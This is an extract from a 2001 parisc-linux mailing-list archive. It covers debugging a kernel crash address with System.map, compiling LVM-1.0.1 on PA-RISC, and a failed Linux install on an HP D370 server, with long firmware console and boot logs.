> > >  ORIG_R28: 124fc508
> > > 
> > > a "grep 1018c3 /boot/System.map"
> > > 1018c394 t evms_ioctl_cmd_get_minor
> > > 
> > > I would like to debug this by obtaining a core dump of the kernel
> > after the 
> > > reboot but I do not know how? (I did not find back the mail
> explaining
> > how to do 
> > > it in detail)
> > 
> > 1018c350 is before 1018c394, so it's actually in the previous
> function.
> 
> Well ... in System.map I found:
> 
> 1018bfc4 t evms_ioctl_cmd_get_logical_disk
> 1018c088 t evms_ioctl_cmd_get_logical_disk_info
> 1018c1c8 t evms_ioctl_cmd_sector_io
> 1018c394 t evms_ioctl_cmd_get_minor
> 1018c494 t evms_ioctl_cmd_get_volume_data
> 
> So it should be in 'evms_ioctl_cmd_sector_io', is it right?
> 
> Thank Matthew,
>     Joel
> 
> > 
> > -- 
> > Revolutions do not require corporate support.
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LVM-1.0.1 with kernel 2.4.16-pa16 (was: LVM 1.0.1-rc4 on hppa)
Date: Wed, 12 Dec 2001 17:04:52 +0100 (CET)
Lines: 42
Approved: news@gmane.org
Message-ID: <1008173091.3c178024025f9@webmail.tiscalinet.be>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk> <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be> <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk> <1002618541.3bc2bead27af0@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620834 31177 80.91.229.3 (22 Nov 2014 01:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 09:04:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99B3D482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 09:04:54 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16EBsK-0002xo-00; Wed, 12 Dec 2001 17:04:52 +0100
In-Reply-To: <1002618541.3bc2bead27af0@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13310

Hi all,

Just for information that this release compiles (now with -O0) fine with kernel
2.4.16-pa16 and also seems to works fine (at least on my b180.

Joel


Quoting joel.soete@freebel.net:

> Quoting Matthew Wilcox <willy@debian.org>:
> 
> > On Mon, Oct 08, 2001 at 06:39:17PM +0200,
> hgrothe@mathematik.tu-darmstadt.de 
> wrote:
> > > I guess :-) that you compiled the lvm-tools with optimization. Since
> 
> > > there seems to be a general problem with the lvm-tools and gcc3
> (appears 
> > > also on other architectures (see lvm mailing list)) recompile the 
> > > lvm-tools without optimisation or "weak" optimisation (-O0).
> 
> The all LVM-HOWTO test seems to works fine if change -O2 to -O0 into
> make.tmpl.
> 
> > -O0 is no optimisation, -O1 is weak optimisation and -O2 is most
> > optimisations.  This is normally a bug in the code, not the
> compiler...
> 
> I thinks so too.
> I will try now to recompile with -O2 and -ggdb to try to have a better
> idea.
> 
> Thanks again for help,
>         joel



-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install on a D370!
Date: Wed, 12 Dec 2001 12:01:45 -0500
Lines: 1439
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20011212111857.0263d110@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620835 31180 80.91.229.3 (22 Nov 2014 01:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 10:02:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id F210D482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 10:02:09 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP id 3A4AE1702B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 12:05:21 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13311

OK, I have had success with the C110, C200 and a B180 system.
Now I'm trying a D370. No go. I tried with the 0.9.2 Cd just to see if it 
was alive or had basic problems. Got as far as the famous (for me anyway) 
"Branching to kernel entry point 0x00100000." and that's all folks! I tried 
both serial ports on the machine to no avail.
Yesterday I downloaded the 0.9.3-rc6.iso (it has the same md5sum as the 
official version so I assume congruency) and have had exactly the same results!
There is a FWSCSI card in the box with 6 drives attached and another card, 
a "Remote Management/Access Port" card in HSC 0 Slot 0.
I've seen a couple of messages about D350's which say all this stuff worked!

Does anyone have any suggestions?

Regards, Herb

And here's the log file:

Firmware Version  38.40



Duplex Console IO Dependent Code (IODC) revision 4



------------------------------------------------------------------------------

    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved

------------------------------------------------------------------------------



   Processor   Speed            State           Coprocessor State  Cache Size

   ---------  --------   ---------------------  -----------------  ----------

       0       160 MHz   Active                 Functional          512 KB



   Central Bus Speed (in MHz)  :        120



   Model: D370/1



   Available memory (bytes)    :  536870912

   Good memory required (bytes):   43753472



   Primary boot path:    8/16/5.4   (dec)

   Alternate boot path:  8/16/5.0   (dec)

   Console path:         8/20/1.0   (dec)

   Keyboard path:        8/16/7.0   (dec)



------- Main Menu -------------------------------------------------------------



         Command                         Description

         -------                         -----------

         BOot [PRI|ALT|<path>]           Boot from specified path

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices



         COnfiguration [<command>]       Access Configuration menu/commands

         INformation [<command>]         Access Information menu/commands

         SERvice [<command>]             Access Service menu/commands



         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

-------

Main Menu: Enter command > sea iopl



Searching for device(s) with bootable media...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).




    Path Number        Device Path (dec)        Device Type and Utilities

    -----------        -----------------        -------------------------

    P0                 8/16/5.2                 Random access media

                                                IPL

    P1                 8/16/6.0                 LAN Module




Main Menu: Enter command > sea



Searching for potential boot device(s)...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).




    Path Number        Device Path (dec)        Device Type

    -----------        -----------------        -----------

    P0                 8/4.11                   Random access media

    P1                 8/4.10                   Random access media

    P2                 8/4.9                    Random access media

    P3                 8/4.8                    Random access media

    P4                 8/4.4                    Random access media

    P5                 8/16/5.2                 Random access media

    P6                 8/16/6.0                 LAN Module




Main Menu: Enter command > sea ipl



Searching for device(s) with bootable media...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).




    Path Number        Device Path (dec)        Device Type and Utilities

    -----------        -----------------        -------------------------

    P0                 8/16/5.2                 Random access media

                                                IPL

    P1                 8/16/6.0                 LAN Module




Main Menu: Enter command > bo p0

Interact with IPL (Y, N, or Cancel)?> n



Booting...

Boot IO Dependent Code (IODC) revision 1





HARD Booted.

palo ipl 0.96 root@palinux Fri Nov  2 16:31:18 MST 2001



Boot image contains:

     0/vmlinux32 3122078 bytes @ 0x4cf000

     0/vmlinux64 3990942 bytes @ 0x7c9800

     0/ramdisk 1946807 bytes @ 0xb98000



Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently  used by firmware (serial).



Command line for kernel: 'root=/dev/ram console=ttyS0 TERM=vt102'

Selected kernel: /vmlinux from partition 0

Selected ramdisk: /ramdisk from partition 0

Warning: kernel name doesn't end with 32 or 64 -- Guessing...

This box can boot either 32 or 64-bit kernels...

Both kernels available, choosing 32-bit kernel

ELF32 executable

Entry 00100000 first 00100000 n 6

Segment 0 load 00100000 size 1618208 mediaptr 0x1000

Segment 1 load 0028c000 size 287728 mediaptr 0x18d000

Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000

Segment 3 load 00334000 size 8192 mediaptr 0x231000

Segment 4 load 00338000 size 32768 mediaptr 0x233000

Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8

Loading ramdisk 1946807 bytes @ 1fe14000...

Branching to kernel entry point 0x00100000.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org


Firmware Version  38.40



Duplex Console IO Dependent Code (IODC) revision 4



------------------------------------------------------------------------------

    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved

------------------------------------------------------------------------------



   Processor   Speed            State           Coprocessor State  Cache Size

   ---------  --------   ---------------------  -----------------  ----------

       0       160 MHz   Active                 Functional          512 KB



   Central Bus Speed (in MHz)  :        120



   Model: D370/1



   Available memory (bytes)    :  536870912

   Good memory required (bytes):   43753472



   Primary boot path:    8/16/5.4   (dec)

   Alternate boot path:  8/16/5.0   (dec)

   Console path:         8/20/1.0   (dec)

   Keyboard path:        8/16/7.0   (dec)



------- Main Menu -------------------------------------------------------------



         Command                         Description

         -------                         -----------

         BOot [PRI|ALT|<path>]           Boot from specified path

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices



         COnfiguration [<command>]       Access Configuration menu/commands

         INformation [<command>]         Access Information menu/commands

         SERvice [<command>]             Access Service menu/commands



         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

-------

Main Menu: Enter command > pa



   Primary boot path:    8/16/5.4   (dec)

                         08/10/05.4   (hex)



   Alternate boot path:  8/16/5.0   (dec)

                         08/10/05.0   (hex)



   Console path:         8/20/1.0   (dec)

                         08/14/01.0   (hex)



   Keyboard path:        8/16/7.0   (dec)

                         08/10/07.0   (hex)



Main Menu: Enter command > di



------- Main Menu -------------------------------------------------------------



         Command                         Description

         -------                         -----------

         BOot [PRI|ALT|<path>]           Boot from specified path

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices



         COnfiguration [<command>]       Access Configuration menu/commands

         INformation [<command>]         Access Information menu/commands

         SERvice [<command>]             Access Service menu/commands



         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

-------

Main Menu: Enter command > ser



------- Service Menu ----------------------------------------------------------



         Command                         Description

         -------                         -----------

         ChassisCodes [<proc>]           Display chassis codes

         CLEARPIM                        Clear (zero) the contents of PIM

         EepromRead [<addr>] [<len>]     Read EEPROM locations

         LCD [ON|OFF]                    Configure the front panel display

         MemRead <addr> [<len>]          Read memory locations

         PDT [CLEAR]                     Display or clear

                                         the Page Deallocation Table

         PIM [<proc> [HPMC|LPMC|TOC]]    Display PIM information



         BOot [PRI|ALT|<path>]           Boot from specified path

         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

         MAin                            Return to Main menu

-------

Service Menu: Enter command > pim



PROCESSOR PIM INFORMATION



-----------------  Processor 0 HPMC Information ------------------


    No valid timestamp


HPMC Chassis Codes = No chassis codes logged



General Registers 0 - 31

00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000

04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000

08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000

12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000

16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000

20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000

24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000

28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000



<Press any key to continue (q to quit)>



Control Registers 0 - 31

00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000

04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000

08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000

12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000

16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000

20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000

24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000

28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000



Space Registers 0 - 7

00-03  00000000          00000000          00000000          00000000

04-07  00000000          00000000          00000000          00000000



<Press any key to continue (q to quit)>


IIA Space                    = 0x0000000000000000

IIA Offset                   = 0x0000000000000000

Check Type                   = 0x00000000

CPU State                    = 0x00000000

Cache Check                  = 0x00000000

TLB Check                    = 0x00000000

Bus Check                    = 0x00000000

Assists Check                = 0x00000000

Assist State                 = 0x00000000

Path Info                    = 0x00000000

System Responder Address     = 0x0000000000000000

System Requestor Address     = 0x0000000000000000

Check Summary                = 0x0000000000000000

Available Memory             = 0x0000000000000000

CPU Diagnose Register 2      = 0x0000000000000000

CPU Status Register 0        = 0x0000000000000000

CPU Status Register 1        = 0x0000000000000000

SADD LOG                     = 0x0000000000000000

Read Short LOG               = 0x0000000000000000



<Press any key to continue (q to quit)>



-----------------  Processor 0 LPMC Information ------------------


Check Type                   = 0x00000000

IC Parity Info               = 0x00000000

Cache Check                  = 0x00000000

TLB Check                    = 0x00000000

Bus Check                    = 0x00000000

Assists Check                = 0x00000000

Assist State                 = 0x00000000

Path Info                    = 0x00000000

System Responder Address     = 0x0000000000000000

System Requestor Address     = 0x0000000000000000




-----------------  Processor 0 TOC Information -------------------


General Registers 0 - 31

00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000

04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000

08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000

12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000

16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000

20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000

24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000

28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000



<Press any key to continue (q to quit)>



Control Registers 0 - 31

00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000

04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000

08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000

12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000

16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000

20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000

24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000

28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000



Space Registers 0 - 7

00-03  00000000          00000000          00000000          00000000

04-07  00000000          00000000          00000000          00000000



IIA Space                    = 0x0000000000000000

IIA Offset                   = 0x0000000000000000

CPU State                    = 0x00000000



<Press any key to continue (q to quit)>



Memory Error Log Information:


    No valid timestamp


    No memory errors logged




I/O Module Error Log Information:


    No valid timestamp


    No I/O module errors logged


<Press any key to continue (q to quit)>



IO Bus Converter Log

--------------------


IOA0 HPA            = 0x00000000

IOA0 UBC_IO_CONTROL = 0x00000000

GSC1 HPA            = 0x00000000

IOA0 IO_IO_LO       = 0x00000000

IOA0 IO_IO_HI       = 0x00000000

IOA0 IO_IO_LO_HV    = 0x00000000

IOA0 IO_IO_HI_HV    = 0x00000000



IOA1 HPA            = 0x00000000

IOA1 UBC_IO_CONTROL = 0x00000000

GSC2 HPA            = 0x00000000

IOA1 IO_IO_LO       = 0x00000000

IOA1 IO_IO_HI       = 0x00000000

IOA1 IO_IO_LO_HV    = 0x00000000

IOA1 IO_IO_HI_HV    = 0x00000000



   NIO bus converter register data is not available.





Service Menu: Enter command >  di



------- Service Menu ----------------------------------------------------------



         Command                         Description

         -------                         -----------

         ChassisCodes [<proc>]           Display chassis codes

         CLEARPIM                        Clear (zero) the contents of PIM

         EepromRead [<addr>] [<len>]     Read EEPROM locations

         LCD [ON|OFF]                    Configure the front panel display

         MemRead <addr> [<len>]          Read memory locations

         PDT [CLEAR]                     Display or clear

                                         the Page Deallocation Table

         PIM [<proc> [HPMC|LPMC|TOC]]    Display PIM information



         BOot [PRI|ALT|<path>]           Boot from specified path

         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

         MAin                            Return to Main menu

-------

Service Menu: Enter command > ma



------- Main Menu -------------------------------------------------------------



         Command                         Description

         -------                         -----------

         BOot [PRI|ALT|<path>]           Boot from specified path

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices



         COnfiguration [<command>]       Access Configuration menu/commands

         INformation [<command>]         Access Information menu/commands

         SERvice [<command>]             Access Service menu/commands



         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

-------

Main Menu: Enter command > co



------- Configuration Menu ----------------------------------------------------



         Command                         Description

         -------                         -----------

         AUto [BOot|SEArch] [ON|OFF]     Display or set specified auto flag

         BootID [<proc>] [<boot ID>]     Display or modify processor boot ID

         BootINfo                        Display boot-related information

         BootTimer [0 - 200]             Display or set boot delay time

         CPUconfig [<proc>] [ON|OFF]     Config/deconfig processor

         DEfault                         Set the system to predefined values

         FastBoot [ON|OFF]               Display or set boot tests execution

         LanConfig [ENABLE|DISABLE]      Enable or Disable the built-in LAN

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices

         TIme [c:y:m:d:h:m:[s]]          Read or set the real time clock in GMT



         BOot [PRI|ALT|<path>]           Boot from specified path

         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

         MAin                            Return to Main menu

-------

Configuration Menu: Enter command > bin



BOOT INFORMATION


   Processor         Boot ID

   ---------         -------

       0                2



   Autoboot:             OFF

   Autosearch:           OFF

   Fastboot:             OFF



   Primary boot path:    8/16/5.4   (dec)

                         08/10/05.4   (hex)

   Alternate boot path:  8/16/5.0   (dec)

                         08/10/05.0   (hex)

   Console path:         8/20/1.0   (dec)

                         08/14/01.0   (hex)

   Keyboard path:        8/16/7.0   (dec)

                         08/10/07.0   (hex)



   LAN Station Address:  080009-d20c1e



   Wed Dec  12 16:08:40 GMT 2001    (20:01:12:12:16:08:40)


Configuration Menu: Enter command >

Configuration Menu: Enter command > di



------- Configuration Menu ----------------------------------------------------



         Command                         Description

         -------                         -----------

         AUto [BOot|SEArch] [ON|OFF]     Display or set specified auto flag

         BootID [<proc>] [<boot ID>]     Display or modify processor boot ID

         BootINfo                        Display boot-related information

         BootTimer [0 - 200]             Display or set boot delay time

         CPUconfig [<proc>] [ON|OFF]     Config/deconfig processor

         DEfault                         Set the system to predefined values

         FastBoot [ON|OFF]               Display or set boot tests execution

         LanConfig [ENABLE|DISABLE]      Enable or Disable the built-in LAN

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices

         TIme [c:y:m:d:h:m:[s]]          Read or set the real time clock in GMT



         BOot [PRI|ALT|<path>]           Boot from specified path

         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

         MAin                            Return to Main menu

-------

Configuration Menu: Enter command > ma



------- Main Menu -------------------------------------------------------------



         Command                         Description

         -------                         -----------

         BOot [PRI|ALT|<path>]           Boot from specified path

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices



         COnfiguration [<command>]       Access Configuration menu/commands

         INformation [<command>]         Access Information menu/commands

         SERvice [<command>]             Access Service menu/commands



         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

-------

Main Menu: Enter command > in all



PROCESSOR INFORMATION


                        HVERSION  SVERSION   CVERSION     Processor

   Processor   Speed     Model    Model/Op  (Revision)      State

   ---------  --------  --------  --------  ----------  -------------

       0       160 MHz   0x5a20    0x0481      769      Active



   Central Bus Speed (in MHz)  :        120

   HSC Bus Speed (in MHz)      :         39

   Software ID (dec)           : 2014794797

   Software ID (hex)           : 0x7817542d

   Software Capability         : 0xf0



   Model: D370/1



<Press any key to continue (q to quit)>



COPROCESSOR INFORMATION


                     Coprocessor   Coprocessor      Coprocessor

        Processor       Model        Revision          State

       -----------   -----------   -----------   -----------------

            0         0x0000000e           0      Functional





CACHE INFORMATION


        Processor    Instruction Cache Size    Data Cache Size

       -----------   -----------------------   ---------------

            0               512 KB                  512 KB



<Press any key to continue (q to quit)>



MEMORY INFORMATION



    MEMORY STATUS TABLE


    Slot     SIMM Pair Size     Status

    ----     --------------     ------

    0a/b      256MB            Configured

    1a/b      256MB            Configured

             ---------

    TOTAL     512MB



<Press any key to continue (q to quit)>




    DETAILED MEMORY CONFIGURATION TABLE



    SPA         GROUP  SMC  SMC Status   Bank  Bank Status  Size  Slot

    ---         -----  ---  ----------   ----  -----------  ----  ----

    0x00000000    0     0   Configured     3   Configured  128MB  1a/b

                        1   Configured     0   Configured  128MB  1a/b

                        2   Configured     1   Configured  128MB  0a/b

                        2   Configured     2   Configured  128MB  0a/b





    Group 0 interleaved  4 ways over  4 banks



<Press any key to continue (q to quit)>






    Active, installed memory (bytes)  :  536870912 of DRAM

    Deallocated pages (bytes)         -          0

                                         -----------

    Available memory (bytes)          :  536870912



    Good memory required by OS (bytes):   43753472



          Memory

    HVERSION  SVERSION

    -------- ----------

     0x0760  0x00000900


<Press any key to continue (q to quit)>



I/O MODULE INFORMATION


                                                                    IODC   IODC

Path (dec)   Type                Bus Slot Mod HVERSION  SVERSION   Vers   Dep

----         ----                --- ---- --- -------- ---------- ------ ------

8            I/O Adapter           0   2   0   0x580f  0x10000b50  0x00   0x00

8/0          Bus Converter         1   0   0   0x5000  0x00000c00  0x00   0x00

8/0/0        A Direct I/O          5   0   0   0x0100  0x00000d00  0x04   0x00

8/4          A DMA I/O             1   1   0   0x0131  0x00008980  0x98   0x00

8/16         Bus Adapter           1   4   0   0x02f0  0x00008100  0x00   0x00

8/16/5       Built-in SE SCSI     16   1   1   0x02f0  0x00008280  0x01   0x00

8/16/6       Built-in LAN         16   1   2   0x02f0  0x00008a00  0x02   0x00

8/16/0       Built-in Parallel    16   0   0   0x02f0  0x00007400  0x00   0x00

8/16/7       Built-in Keyboard    16   1   3   0x02f0  0x00008400  0x00   0x00

8/16/8       Built-in Mouse       16   2   0   0x02f0  0x00008400  0x00   0x00

8/20         Bus Adapter           1   5   0   0x0310  0x00008e00  0x00   0x00

8/20/5       Bus Adapter          20   1   1   0x0310  0x00009000  0x00   0x00

8/20/2       RS232 Port           20   0   2   0x0310  0x00008c00  0x00   0x00

10           I/O Adapter           0   2   2   0x580f  0x10000b50  0x00   0x00



<Press any key to continue (q to quit)>



Hot Swap module is present.



EISA Cards


Path        Type                            EISA ID

----        ----                            -------

8/20/5/1    EISA slot is empty

8/20/5/2    EISA slot is empty

8/20/5/3    EISA slot is empty

8/20/5/4    EISA slot is empty

8/20/5/5    EISA slot is empty

8/20/5/6    EISA slot is empty

8/20/5/7    EISA slot is empty

8/20/5/8    EISA slot is empty





<Press any key to continue (q to quit)>



BOOT INFORMATION


   Processor         Boot ID

   ---------         -------

       0                2



   Autoboot:             OFF

   Autosearch:           OFF

   Fastboot:             OFF



   Primary boot path:    8/16/5.4   (dec)

                         08/10/05.4   (hex)

   Alternate boot path:  8/16/5.0   (dec)

                         08/10/05.0   (hex)

   Console path:         8/20/1.0   (dec)

                         08/14/01.0   (hex)

   Keyboard path:        8/16/7.0   (dec)

                         08/10/07.0   (hex)



   LAN Station Address:  080009-d20c1e



   Wed Dec  12 16:10:43 GMT 2001    (20:01:12:12:16:10:43)


<Press any key to continue (q to quit)>



FIRMWARE INFORMATION


   Firmware Version:     38.40




CHIP REVISIONS


   Module                           Revision

   ------                           --------

   System Board                     0

   Processor Board                  0

   PA 8000-8000 CPU                 3.1

   Firmware                         24

   Master Memory Controller         9

   I/O Bus Adapter 0                15

   Fast/Wide SCSI Board             1

   Multifunction I/O Controller     0

   EISA Interface                   0

   I/O Bus Adapter 1                15



<Press any key to continue (q to quit)>



WARNINGS



No warnings to report.


Main Menu: Enter command > sea ipl



Searching for device(s) with bootable media...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).




    Path Number        Device Path (dec)        Device Type and Utilities

    -----------        -----------------        -------------------------

    P0                 8/16/5.2                 Random access media

                                                IPL

    P1                 8/16/6.0                 LAN Module




Main Menu: Enter command > bo p0

Interact with IPL (Y, N, or Cancel)?> y



Booting...

Boot IO Dependent Code (IODC) revision 1





HARD Booted.

palo ipl 0.96 root@palinux Fri Nov  2 16:31:18 MST 2001



Boot image contains:

     0/vmlinux32 3122078 bytes @ 0x4cf000

     0/vmlinux64 3990942 bytes @ 0x7c9800

     0/ramdisk 1946807 bytes @ 0xb98000



Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently  used by firmware (serial).

Current command line:

0/vmlinux root=/dev/ram initrd=0/ramdisk console=ttyS0 TERM=vt102

  0: 0/vmlinux

  1: root=/dev/ram

  2: initrd=0/ramdisk

  3: console=ttyS0

  4: TERM=vt102



Edit which field?

(or 'b' to boot with this command line)? 0 b



Command line for kernel: 'root=/dev/ram console=ttyS0 TERM=vt102'

Selected kernel: /vmlinux from partition 0

Selected ramdisk: /ramdisk from partition 0

Warning: kernel name doesn't end with 32 or 64 -- Guessing...

This box can boot either 32 or 64-bit kernels...

Both kernels available, choosing 32-bit kernel

ELF32 executable

Entry 00100000 first 00100000 n 6

Segment 0 load 00100000 size 1618208 mediaptr 0x1000

Segment 1 load 0028c000 size 287728 mediaptr 0x18d000

Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000

Segment 3 load 00334000 size 8192 mediaptr 0x231000

Segment 4 load 00338000 size 32768 mediaptr 0x233000

Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8

Loading ramdisk 1946807 bytes @ 1fe14000...

Branching to kernel entry point 0x00100000.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org










[1;24r




From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [test] PA-RISC Linux 0.9.3
Date: Wed, 12 Dec 2001 10:58:19 -0700
Lines: 18
Approved: news@gmane.org
